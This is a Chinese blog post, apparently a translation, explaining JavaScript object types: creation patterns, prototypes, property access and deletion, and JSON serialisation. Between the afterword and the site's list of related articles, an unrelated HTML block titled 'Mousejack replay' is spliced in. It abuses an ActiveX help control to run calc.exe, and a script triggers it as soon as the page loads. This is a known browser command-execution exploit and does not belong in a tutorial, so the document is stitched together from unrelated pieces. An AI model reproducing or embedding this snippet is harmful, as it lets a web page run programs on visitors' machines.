详解JavaScript对象类型


Posted in Javascript onJune 16, 2016

JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):Number、String、Boolean、Undefined和Null。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。
 什么是对象 
一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。 
下面是一个简单的对象:

var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  };

可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstName和favortieAuthor,相应的,对象的属性值为Richard和Conrad。
 属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:

var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  ​// 访问30这个属性的正确方法
  console.log(ageGroup["30"]); // Children​
  ​
  ​//最好避免使用数字作为属性名

作为一个JavaScript程序员,你会经常使用到对象数据类型。一般用它来储存数据,或者创建自定义的方法或函数。
 引用数据类型和原始数据类型 
引用类型与原始类型最主要的一个不同点就是引用类型是按引用存储的,它不会像原始类型一样,将值直接存储在变量中。比如: 

// 原始类型数据是按值存储的 
  ​var person = "Kobe"; 
  ​var anotherPerson = person; // anotherPerson = the value of person​
  person = "Bryant"; // person的值改变了
  ​
  console.log(anotherPerson); // Kobe​
  console.log(person); // Bryan

可以注意到,即使我们将person的值改为"Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。
 将原始类型的按值存储跟引用类型的按引用存储进行一下比较:

var person = {name: "Kobe"};
  ​var anotherPerson = person;
  person.name = "Bryant";
  ​
  console.log(anotherPerson.name); // Bryant​
  console.log(person.name); // Bryant

在这个例子中,我们将person对象复制给了anthoerPerson,但是由于person对象中存储的是引用而不是真正的值。所以当我们将person.name改变为"Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。

对象属性的特性(Attributes) 

注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅
 每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。
 •Configurable Attribute: 指定这个对象属性是否可以被删除或修改。
•Enumerable:指定这个对象属性在for-in循环中是否可以被取得。
•Writable:指定这个对象属性是否可以被修改。
 在EMACScript 5中有一些新的特性,这里不做详细讲解。

 创建对象
 创建对象有两种比较常用的方法:
 1.对象字面量
 这是创建对象最常用,也是最简单的方式,直接使用字面量进行创建:

// 空对象
​var myBooks = {};
​
​// 使用字面量创建的包含4个属性的对象
​var mango = {
  color: "yellow",
  shape: "round",
  sweetness: 8,
​
​  howSweetAmI: function () {
    console.log("Hmm Hmm Good");
  }
}

2.对象构造函数
 第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。 

var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
​
mango.howSweetAmI = function () {
  console.log("Hmm Hmm Good");
}

虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。
 对象的属性可以包含任何数据类型,包括Number,Arrays,甚至是其它的Object。
 对象创建的实践模式
 对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。 
但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。

var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  ​
    ​showName: function () {
      console.log("This is " + this.fruitName);
    },
    ​nativeTo: function () {
      this.nativeToLand.forEach(function (eachCountry) {
        console.log("Grown in:" + eachCountry);
      });
    }
  }

如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。
 为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。
 下面是两种创建对象的常用模式:
 1.构造方法模式

function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
}

使用这种模式,很容易就可以创建出各式各样的水果来。像这样:

var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.​
mangoFruit.nativeTo();
​//Grown in:South America​
​// Grown in:Central America​
​// Grown in:West Africa​

​var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.

如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。
 注意:
 ◦可继承的属性需要定义在对象的prototype对象属性上。比如
 someObject.prototype.firstName = "rich";
◦属于自身的属性要直接定义在对象的上。比如:

// 首先,创建一个对象
var aMango = new Fruit ();
// 接着,直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性
aMango.mangoSpice = “some value”;

◦要访问一个对象的属性,使用object.property,如:
 console.log(aMango.mangoSpice); // "some value"
◦要调用一个对象的方法,使用object.method(),如:

// 首先,增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在,可以调用printStuff方法
aMango.printStuff();

2.原型模式

function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
}

下面是在原型模式中调用Fruit()构造函数的方法:

var mangoFruit = new Fruit ();
mangoFruit.showName(); //​
mangoFruit.nativeTo();
​// This is a Generic Fruit​
​// Grown in:USA

扩展阅读
 如果需要了解这两种模式的更详细的解释,可以阅读《JavaScript高级程序设计》的第六章,其中详细讨论了这两种方法的优缺点。书中还讨论了除这两个外的其它模式。 
如何访问对象中的属性 
访问对象属性的两种主要方法是点记法(dot notation)和中括号记法(bracket notation)。
 1.点记法

// 这是我们前面例子中一直使用的访问属性的方法
​var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
​
​// 使用点记法访问book对象的title和pages属性:​
console.log ( book.title); // Ways to Go​
console.log ( book.pages); // 280

2.中括号记法

// 使用方括号启示访问book对象的属性:
console.log ( book["title"]); //Ways to Go​
console.log ( book["pages"]); // 280​
​
​//如果属性名储存在一个变量当中,也可以这样:​
​var bookTitle = "title";
console.log ( book[bookTitle]); // Ways to Go​
console.log (book["bookMark" + 1]); // Page 20

访问一个对象中不存在的属性会得到一个undefined。

自身属性和继承属性 
对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从Object的Prototype继承的属性。
 为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:

// 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  ​// 打印出true,因为对象拥有schoolName这个属性
  console.log("schoolName" in school); // true​
  ​
  ​// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
  console.log("schoolType" in school); // false​
   
  ​// 打印出true, 因为从Object的Prototype中继承了toString方法
  console.log("toString" in school); // true

hasOwnProperty
 为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。

// 创建一个拥有schoolName属性的对象
  ​var school = {schoolName:"MIT"};
  ​
  ​// 打印出true,因为schooName是school的自身属性
  console.log(school.hasOwnProperty ("schoolName")); // true​
   
  ​// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
  console.log(school.hasOwnProperty ("toString")); // false

访问和枚举对象中的属性
 为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。

// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.​
  ​var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  ​
  ​//使用for-in循环获取对象中的属性
  ​for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }

访问继承的属性
 从Object的Prototype中继承的属性不可枚举的,所以在for-in循环中不会访问到这些属性。然而,如果是可枚举的继承属性,它们也是能够从for-in循环中访问到的。
 比如:

//使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }


  // 注:以下这段说明是原文的说明
  /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
  */​

  // Create a new HigherLearning function that the school object will inherit from.​

  function HigherLearning () {
    this.educationLevel = "University";
  }

  // Implement inheritance with the HigherLearning constructor​
  var school = new HigherLearning ();
  school.schoolName = "MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object​
  for (var eachItem in school) {
    console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation​
  }

删除对象中的属性
 可以使用delete操作符来删除对象中的属性。我们不能删除继承的属性,同时也不能删除Configurable特性被设置为false的对象属性。要删除继承的属性,必须从Prototype对象中删除(也就是定义这些属性的地方)。并且,我们也不能删除全局对象中的属性。
 删除成功的时候,delete操作符会返回true。令人意外的是,当要删除的属性不存在,或者不能被删除(即不是自身的属性或者Configurable特性被设置为false)时, delete操作符也会返回true。
 以下是示例:
  

var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property​

  for (var people in christmasList) {
    console.log(people);
  }
  // Prints only jason​
  // The mike property was deleted​

  delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除

  // 因为toString没有被删除,所以这里还能够正常使用
  christmasList.toString(); //"[object Object]"​

  // 如果一个属性是对象实例的自身属性,则我们可以删除它。
  // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
  // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true​
  // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它​
  delete school.educationLevel; // true

  // educationLevel属性已经从school实例中删除了
  console.log(school.educationLevel); // undefined

  // 但是educationLevel属性仍然存在于HigherLearning函数中
  var newSchool = new HigherLearning ();
  console.log(newSchool.educationLevel); // University​

  // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​
  HigherLearning.prototype.educationLevel2 = "University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性​
  console.log(school.hasOwnProperty("educationLevel2")); false​
  console.log(school.educationLevel2); // University 2​

  // 尝试删除继承的educationLevel2属性​
  delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)

  // 继承的educationLevel2属性没有被删除
  console.log(school.educationLevel2); University 2​

序列化和反序列化对象
 为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript 5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript 5中,这个函数已经成为标准函数。
 为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。
 示例代码:
   

var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:​
  // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:​
  JSON.stringify (christmasList, null, 4);
  // "{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad"​
  // }"

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​
  var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object​
  var christmasListObj = JSON.parse (christmasListStr);

  // Now that it is an object, we use dot notation​
  console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。

后记 
第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。 
就酱,收工。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
Javascript开发包大全整理
Dec 22 Javascript
封装好的省市地区联动控件附下载
Aug 13 Javascript
Javascript中的变量使用说明
May 18 Javascript
初学Jquery插件制作 在SageCRM的查询屏幕隐藏部分行的功能
Dec 26 Javascript
编写自己的jQuery提示框(Tip)插件
Feb 05 Javascript
jQuery插件datalist实现很好看的input下拉列表
Jul 14 Javascript
总结jQuery插件开发中的一些要点
May 16 Javascript
Google 地图控件集详解及实例代码
Aug 06 Javascript
纯js实现手风琴效果代码
Apr 17 Javascript
谈谈JavaScript中浏览器兼容问题的写法小议
Dec 17 Javascript
jquery处理checkbox(复选框)是否被选中实例代码
Jun 12 jQuery
React根据宽度自适应高度的示例代码
Oct 11 Javascript
jQuery on()方法绑定动态元素的点击事件实例代码浅析
Jun 16 #Javascript
jQuery页面元素动态添加后绑定事件丢失方法,非 live
Jun 16 #Javascript
JSON字符串和对象相互转换实例分析
Jun 16 #Javascript
jQuery的层级查找方式分析
Jun 16 #Javascript
jQuery实现响应鼠标事件的图片透明效果【附demo源码下载】
Jun 16 #Javascript
JS中sort函数排序用法实例分析
Jun 16 #Javascript
JS原型对象的创建方法详解
Jun 16 #Javascript
You might like
php绘图中显示不出图片的原因及解决
2014/03/05 PHP
php简单判断两个字符串是否相等的方法
2015/07/13 PHP
定时器(setTimeout/setInterval)调用带参函数失效解决方法
2013/03/26 Javascript
JS连接SQL数据库与ACCESS数据库的方法实例
2013/11/21 Javascript
对table和ul实现js分页示例分享
2014/02/24 Javascript
jQuery CSS()方法改变现有的CSS样式
2014/08/20 Javascript
JavaScript实现表格点击排序的方法
2015/05/11 Javascript
jQuery实现指定内容滚动同时左侧或其它地方不滚动的方法
2015/08/08 Javascript
jqueryMobile使用示例分享
2016/01/12 Javascript
更高效的使用JQuery 这里总结了8个小技巧
2016/04/13 Javascript
深入理解requestAnimationFrame的动画循环
2016/09/20 Javascript
BootStrap中的Fontawesome 图标
2017/05/25 Javascript
node下使用UglifyJS压缩合并JS文件的方法
2018/03/07 Javascript
vue.js提交按钮时进行简单的if判断表达式详解
2018/08/08 Javascript
解决vue中修改了数据但视图无法更新的情况
2018/08/27 Javascript
在vue项目中正确使用iconfont的方法
2018/09/28 Javascript
vue的hash值原理也是table切换实例代码
2020/12/14 Vue.js
[00:21]DOTA2亚洲邀请赛 Logo演绎
2015/02/07 DOTA
Python探索之静态方法和类方法的区别详解
2017/10/27 Python
Python multiprocess pool模块报错pickling error问题解决方法分析
2019/03/20 Python
对Python函数设计规范详解
2019/07/19 Python
Python八皇后问题解答过程详解
2019/07/29 Python
Python3.9 beta2版本发布了,看看这7个新的PEP都是什么
2020/06/10 Python
校长岗位职责
2013/11/26 职场文书
企业车辆管理制度
2014/01/24 职场文书
大学活动总结范文
2014/04/29 职场文书
会计学专业自荐信
2014/06/25 职场文书
电力培训心得体会
2014/09/02 职场文书
小学校园广播稿(3篇)
2014/09/19 职场文书
个人遵守党的政治纪律情况对照检查材料
2014/09/26 职场文书
个人批评与自我批评发言稿
2014/09/28 职场文书
师德标兵事迹材料
2014/12/19 职场文书
本科毕业论文导师评语
2014/12/31 职场文书
大学生求职自荐信范文
2015/03/04 职场文书
中学综治宣传月活动总结
2015/05/07 职场文书
MySQL中的全表扫描和索引树扫描
2022/05/15 MySQL